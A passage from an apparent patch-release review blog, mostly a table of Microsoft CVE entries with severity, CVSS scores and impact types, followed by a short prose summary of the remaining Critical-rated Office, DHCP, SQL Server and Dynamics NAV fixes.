of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. 